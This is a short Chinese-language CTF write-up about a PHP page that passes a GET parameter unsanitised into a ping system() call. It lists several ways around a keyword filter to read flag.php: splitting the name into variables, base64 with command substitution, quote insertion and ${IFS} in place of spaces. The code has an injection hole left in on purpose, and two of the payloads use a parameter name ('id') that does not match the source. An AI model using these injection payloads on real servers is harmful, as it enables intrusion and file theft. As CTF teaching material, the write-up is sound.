源码:
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
很明显的命令执行:
由上,我们看到,flag.php就在当前目录下,那么直接cat ./flag不就行了?
可人家将flag关键字过滤了,绕过的方法非常简单(其实刚好前不久才碰到…),有很多种方法绕过;
思路也很简单,只要不然他匹配到关键字即可。
绕过
1.利用变量去绕过:
通过变量赋值,再进行拼接,即可进行绕过:
payload:
?ip=1;a=fl;b=ag;cat $a$b.php
查看源代码:
2.通过base64编码
我们需要执行的命令传进去base64编码下,在解码执行即可
?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`
这里说一下:反引号`在Linux的命令行中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置,即完成引用命令的执行,将其结果替换出来。也就是说会将`里面base64解码的命令输出结果返回到命令中。这样即可绕过限制。(说一下,这里不止反引号`,$()也能在shell中起到命令替换的效果。)
也就间接执行了cat ./flag.php
查看源代码:
3通过引号绕过关键字
主要的目的还是不让匹配到关键字,那好办
payload:
?id=1;cat ./fl'ag'.php
查看源代码:
4.绕空格过滤
如果碰到过滤空格,还可以\${IFS}、<、 $IFS、\$IFS$9
等字符来代替。
当然绕过姿势肯定是不止上面所说的那些,要懂得随机应变。
flag:
flag:flag{I_like_qwb_web